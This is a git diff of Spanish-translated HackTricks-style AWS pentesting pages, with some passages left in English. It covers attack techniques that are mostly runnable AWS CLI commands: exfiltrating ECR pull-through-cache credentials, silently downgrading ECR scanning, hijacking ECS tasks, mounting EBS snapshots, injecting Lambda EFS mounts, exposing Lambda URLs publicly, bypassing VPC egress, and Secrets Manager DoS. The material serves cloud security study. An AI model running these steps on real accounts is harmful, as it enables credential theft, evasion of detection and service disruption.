@@ -90,21 +90,15 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache está configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: `ecr-pullthroughcache/`. Los operadores a veces conceden a los admins de ECR un amplio acceso de lectura a Secrets Manager, lo que permite la exfiltración de credenciales y su reutilización fuera de AWS.
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrar credenciales de upstream registries desde ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache está configurado para upstream registries autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: `ecr-pullthroughcache/`. Los operadores a veces conceden a los administradores de ECR un acceso amplio de lectura a Secrets Manager, lo que permite la exfiltración de credenciales y su reutilización fuera de AWS.
|
||||
|
||||
Requisitos
|
||||
Requirements
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerar secretos candidatos de PTC
|
||||
Enumerar secretos PTC candidatos
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcional: validar leaked creds contra el upstream (read‑only login)
|
||||
Opcional: validar leaked creds contra el upstream (read-only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impacto
|
||||
- Leer estas entradas de Secrets Manager proporciona credenciales reutilizables del registro upstream (usuario/contraseña o token), que pueden ser abusadas fuera de AWS para extraer imágenes privadas o acceder a repositorios adicionales según los permisos del upstream.
|
||||
- Leer estas entradas de Secrets Manager produce credenciales reutilizables del registro upstream (username/password or token), que pueden abusarse fuera de AWS para pull imágenes privadas o acceder a repositorios adicionales según los permisos del upstream.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un atacante con permisos de ECR a nivel de registro puede, de forma silenciosa, reducir o desactivar el escaneo automático de vulnerabilidades para TODOS los repositorios estableciendo la configuración de escaneo del registro en BASIC sin reglas de scan-on-push. Esto evita que los nuevos pushes de imágenes se escaneen automáticamente, ocultando imágenes vulnerables o maliciosas.
|
||||
Un atacante con permisos de ECR a nivel de registry puede reducir o desactivar silenciosamente el escaneo automático de vulnerabilidades para TODOS los repositorios configurando la registry scanning configuration en BASIC sin reglas de scan-on-push. Esto evita que los nuevos pushes de imágenes sean escaneados automáticamente, ocultando imágenes vulnerables o maliciosas.
|
||||
|
||||
Requisitos
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (opcional, por repositorio)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verificación)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
Degradación a nivel de registro a manual (sin escaneos automáticos)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -150,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Prueba con un repo y una image
|
||||
Prueba con un repo y una imagen
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcional: degradar aún más a nivel del repo
|
||||
Opcional: degradar más a nivel de repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -174,15 +168,15 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impacto
|
||||
- Los nuevos pushes de imágenes a través del registro no se escanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un escaneo manual.
|
||||
- Las nuevas subidas de imágenes en todo el registro no se escanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un escaneo manual.
|
||||
|
||||
### Reducción del motor de escaneo a nivel de registro mediante `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Reducción del motor de escaneo a nivel de registro vía `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reduce la calidad de detección de vulnerabilidades en todo el registro cambiando el motor de escaneo BASIC del valor por defecto AWS_NATIVE al motor legacy CLAIR. Esto no desactiva el escaneo, pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una configuración de escaneo de registro BASIC sin reglas para hacer que los escaneos sean únicamente manuales.
|
||||
Reducir la calidad de detección de vulnerabilidades en todo el registro cambiando el motor de escaneo BASIC desde el predeterminado AWS_NATIVE al motor heredado CLAIR. Esto no desactiva el escaneo, pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una configuración de escaneo de registro BASIC sin reglas para que los escaneos sean solo manuales.
|
||||
|
||||
Requisitos
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Opcional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impacto
|
||||
- La configuración del registro `BASIC_SCAN_TYPE_VERSION` se establece en `CLAIR`, por lo que los escaneos BASIC posteriores se ejecutan con el motor degradado. CloudTrail registra la llamada API `PutAccountSetting`.
|
||||
@@ -206,4 +200,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,25 +10,25 @@ Para más información consulta:
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Roles IAM del host
|
||||
|
||||
En ECS se puede asignar una **IAM role a la task** que se ejecuta dentro del container. **Si** la task se ejecuta dentro de una **EC2** instance, la **EC2 instance** tendrá **otra IAM** role attached to it.\
|
||||
Lo que significa que si logras **comprometer** una instancia ECS puedes potencialmente **obtener la IAM role asociada al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que si la instancia EC2 está forzando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **response of the PUT request** tendrá un **hop limit of 1**, haciendo imposible acceder al EC2 metadata desde un container dentro de la instancia EC2.
|
||||
> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la PUT request** tendrá un **hop limit of 1**, haciendo imposible acceder a los metadata de la EC2 desde un container dentro de la instancia EC2.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Además, EC2 usa docker para ejecutar ECs tasks, por lo que si puedes escapar al nodo o **acceder al docker socket**, puedes **comprobar** qué **otros containers** se están ejecutando, e incluso **entrar en ellos** y **robar las IAM roles** que tengan adjuntas.
|
||||
But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Hacer que los containers se ejecuten en el host actual
|
||||
|
||||
Además, la **EC2 instance role** normalmente tendrá suficientes **permissions** para **update the container instance state** de las instancias EC2 que se usan como nodos dentro del cluster. Un atacante podría modificar el **state of an instance to DRAINING**, entonces ECS **remove all the tasks from it** y las que se estén ejecutando como **REPLICA** serán **run in a different instance,** potencialmente dentro de la **attackers instance**, de modo que pueda **steal their IAM roles** y obtener información sensible desde dentro del container.
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
@@ -38,7 +38,7 @@ La misma técnica se puede hacer **anulando el registro de la instancia EC2 del
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Una técnica final para forzar la reejecución de tareas es indicar a ECS que la **tarea o el contenedor se detuvo**. Hay 3 APIs potenciales para hacer esto:
|
||||
Una técnica final para forzar la re-ejecución de tasks es indicar a ECS que la **task or container was stopped**. Hay 3 APIs potenciales para esto:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,38 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Robar información sensible de contenedores ECR
|
||||
### Robar información sensible de los contenedores de ECR
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **descargar imágenes** (podrías buscar información sensible en ellas).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
La instancia EC2 probablemente también tendrá el permiso `ecr:GetAuthorizationToken` que le permite **descargar imágenes** (puedes buscar información sensible en ellas).
|
||||
|
||||
|
||||
|
||||
### Montar un snapshot de EBS directamente en una tarea ECS (configuredAtLaunch + volumeConfigurations)
|
||||
### Montar una instantánea de EBS directamente en una tarea de ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusa de la integración nativa ECS–EBS (2024+) para montar el contenido de un snapshot de EBS existente directamente dentro de una nueva tarea/servicio ECS y leer sus datos desde dentro del contenedor.
|
||||
Abusar de la integración nativa ECS–EBS (2024+) para montar el contenido de una instantánea de EBS existente directamente dentro de una nueva tarea/servicio de ECS y leer sus datos desde dentro del contenedor.
|
||||
|
||||
- Necesita (mínimo):
|
||||
- Requisitos (mínimos):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Uno de: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- Rol de infraestructura de ECS usado para volúmenes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- iam:PassRole en:
|
||||
- ECS infrastructure role used for volumes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- Si el snapshot está cifrado con una CMK: permisos KMS para el rol de infra (la política administrada de AWS arriba incluye los grants KMS requeridos para las claves gestionadas por AWS).
|
||||
- Si la instantánea está cifrada con una CMK: permisos de KMS para el rol de infra (la política administrada de AWS mencionada arriba incluye los permisos KMS requeridos para claves administradas por AWS).
|
||||
|
||||
- Impacto: Leer contenidos arbitrarios del disco desde el snapshot (p. ej., archivos de base de datos) dentro del contenedor y exfiltrarlos vía red/logs.
|
||||
- Impacto: Leer contenido arbitrario del disco desde la instantánea (p. ej., archivos de base de datos) dentro del contenedor y exfiltrar vía red/registros.
|
||||
|
||||
Pasos (ejemplo Fargate):
|
||||
|
||||
1) Crear el rol de infraestructura ECS (si no existe) y adjuntar la política administrada:
|
||||
1) Crear el ECS infrastructure role (si no existe) y adjuntar la política administrada:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registrar una task definition con un volume marcado `configuredAtLaunch` y montarlo en el container. Ejemplo (imprime el secret y luego duerme):
|
||||
2) Registra una task definition con un volumen marcado `configuredAtLaunch` y móntalo en el contenedor. Ejemplo (imprime el secreto y luego duerme):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Crear o actualizar un servicio pasando el snapshot de EBS mediante `volumeConfigurations.managedEBSVolume` (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
|
||||
3) Crear o actualizar un servicio pasando el snapshot de EBS a través de `volumeConfigurations.managedEBSVolume` (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,12 +113,12 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Cuando la tarea se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., `/loot`). Exfiltrate a través de la red/los registros de la tarea.
|
||||
4) Cuando la task se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., `/loot`). Exfiltrate a través de la network/logs de la task.
|
||||
|
||||
Cleanup:
|
||||
Limpieza:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Robo de datos)
|
||||
|
||||
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/configuración compartida a los que la función previamente no podía acceder.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, y luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrate secretos/config compartidos a los que la función previamente no podía acceder.
|
||||
|
||||
## Requirements
|
||||
- Permissions on the victim account/principal:
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Sobrescribir el código con un lector simple que liste archivos y muestre los primeros 200 bytes de un archivo candidato a secret/config
|
||||
2) Sobrescribir el código con un lector sencillo que liste archivos y lea los primeros 200 bytes de un archivo candidato de secretos o de configuración
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -62,14 +64,13 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
La salida debe contener el listado del directorio en /mnt/ht y una pequeña vista previa de un archivo secreto o de configuración seleccionado desde EFS.
|
||||
La salida debe contener la lista de directorios bajo /mnt/ht y una pequeña vista previa de un archivo secret/config elegido desde EFS.
|
||||
|
||||
## Impacto
|
||||
Un atacante con los permisos listados puede montar EFS Access Points arbitrarios dentro de la VPC en funciones Lambda víctimas para leer y exfiltrar la configuración compartida y los secrets almacenados en EFS que previamente eran inaccesibles para esa función.
|
||||
|
||||
Un atacante con los permisos listados puede montar puntos de acceso EFS arbitrarios dentro del VPC en funciones Lambda víctimas para leer y exfiltrar configuraciones y secretos compartidos almacenados en EFS que previamente eran inaccesibles para esa función.
|
||||
|
||||
## Remediación
|
||||
## Limpieza
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
# AWS - Exposición pública de Lambda Function URL (AuthType NONE + Política pública de invocación)
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una política basada en recursos que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Abuso
|
||||
Convierte una Function URL de Lambda privada en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una policy basada en recursos que otorgue lambda:InvokeFunctionUrl a todos. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
|
||||
|
||||
## Explotación
|
||||
|
||||
- Requisitos previos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Región: us-east-1
|
||||
- Region: us-east-1
|
||||
|
||||
### Pasos
|
||||
1) Asegúrate de que la función tenga una Function URL (por defecto AWS_IAM):
|
||||
@@ -18,7 +20,7 @@ aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Añade una declaración de política basada en recursos para permitir principals no autenticados:
|
||||
3) Añade una declaración de policy basada en recursos para permitir principals no autenticados:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abusa de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o para congelar las actualizaciones (FunctionUpdate). Esto mantiene la compatibilidad con layers/wrappers maliciosos y puede dejar la función en un runtime obsoleto y vulnerable, facilitando la explotación y la persistencia a largo plazo.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con capas/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo.
|
||||
|
||||
Requisitos: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Ejemplo (us-east-1):
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
- Invocar: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Congelar actualizaciones: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verificar: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opcionalmente, fija a una versión específica del runtime extrayendo el Runtime Version ARN de los logs INIT_START y usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
Opcionalmente, fijar a una versión específica del runtime extrayendo el Runtime Version ARN de los registros INIT_START y usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Fuerza que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Forzar una función Lambda fuera de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y bypassing egress controls aplicados por subredes privadas de la VPC sin NAT.
|
||||
|
||||
## Abusing it
|
||||
|
||||
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Recovers unrestricted outbound internet access from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
|
||||
- Regains unrestricted outbound internet from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- Si creaste cambios temporales en el código/handler, restáuralos.
|
||||
- Opcionalmente restaura el VpcConfig original guardado en /tmp/orig-vpc.json como se muestra arriba.
|
||||
- If you created any temporary code/handler changes, restore them.
|
||||
- Optionally restore the original VpcConfig saved in /tmp/orig-vpc.json as shown above.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,13 +10,13 @@ Para más información consulta:
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Leer Secrets
|
||||
|
||||
Los **secrets en sí mismos son información sensible**, [consulta la página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender cómo leerlos.
|
||||
Los **secrets en sí son información sensible**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender cómo leerlos.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Al cambiar el valor del secret podrías **DoS todos los sistemas que dependen de ese valor.**
|
||||
Al cambiar el valor del secret podrías **hacer DoS a todo el sistema que depende de ese valor.**
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.
|
||||
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secret para que use una KMS key propiedad del atacante. Esa key se configura inicialmente de forma que cualquiera puede acceder y usarla, por lo que es posible actualizar el secret con la nueva key. Si la key no fuese accesible, no se podría actualizar el secret.
|
||||
Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secret para que use una KMS key controlada por el atacante. Esa key se configura inicialmente de forma que cualquiera puede acceder y usarla, por lo que actualizar el secret con la nueva key es posible. Si la key no fuera accesible, no sería posible actualizar el secret.
|
||||
|
||||
Tras cambiar la key del secret, el atacante modifica la configuración de su key para que solo él pueda acceder a ella. De este modo, en las versiones posteriores del secret se cifrará con la nueva key y, al no existir acceso a ella, se perdería la capacidad de recuperar el secret.
|
||||
Tras cambiar la key del secret, el atacante modifica la configuración de su key para que solo él pueda acceder a ella. De este modo, en versiones posteriores del secret, éste quedará cifrado con la nueva key y, al no haber acceso a la key, se perdería la posibilidad de recuperar el secret.
|
||||
|
||||
Es importante notar que esta inaccesibilidad solo ocurrirá en versiones posteriores, después de que cambie el contenido del secret, ya que la versión actual sigue cifrada con la KMS key original.
|
||||
Es importante notar que esta inaccesibilidad solo ocurrirá en versiones posteriores, después de que el contenido del secret cambie, ya que la versión actual sigue estando cifrada con la KMS key original.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -40,7 +40,7 @@ aws secretsmanager update-secret \
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
El número mínimo de días para eliminar un secreto es 7.
|
||||
El número mínimo de días para eliminar un Secret es 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,7 +48,7 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Es posible restaurar un secreto, lo que permite recuperar secretos que han sido programados para eliminación, ya que el periodo mínimo de eliminación para secretos es de 7 días y el máximo es de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite recuperar su contenido.
|
||||
Es posible restaurar un secreto, lo que permite recuperar secretos programados para eliminación, ya que el período mínimo de eliminación para secretos es de 7 días y el máximo de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite obtener su contenido.
|
||||
|
||||
Para recuperar un secreto que está en proceso de eliminación, puedes usar el siguiente comando:
|
||||
```bash
|
||||
@@ -57,7 +57,7 @@ aws secretsmanager restore-secret \
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Esta acción permite eliminar la resource policy que controla quién puede acceder a un secret. Esto podría provocar un DoS si la resource policy se configuró para permitir el acceso a un conjunto específico de usuarios.
|
||||
Esta acción permite eliminar la resource policy que controla quién puede acceder a un secret. Esto podría provocar un DoS si la resource policy estaba configurada para permitir el acceso a un conjunto específico de usuarios.
|
||||
|
||||
Para eliminar la resource policy:
|
||||
```bash
|
||||
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Los estados de un secreto se usan para gestionar sus versiones. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS mantiene la versión anterior para que puedas revertir si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
|
||||
Los estados de un secreto se usan para gestionar sus versiones. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS conserva la versión anterior para que puedas revertir si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
|
||||
|
||||
Las aplicaciones siempre leen la versión con AWSCURRENT. Si alguien mueve esa etiqueta a la versión equivocada, las aplicaciones usarán credenciales inválidas y pueden fallar.
|
||||
Las aplicaciones siempre leen la versión con AWSCURRENT. Si alguien mueve esa etiqueta a la versión equivocada, las aplicaciones usarán credenciales inválidas y podrían fallar.
|
||||
|
||||
AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o se reasigna incorrectamente, puede parecer que todo sigue funcionando con la versión anterior.
|
||||
AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o se reasigna incorrectamente, podría parecer que todo sigue funcionando con la versión anterior.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,22 +78,20 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
### Exfiltración masiva de secretos mediante BatchGetSecretValue (hasta 20 por llamada)
|
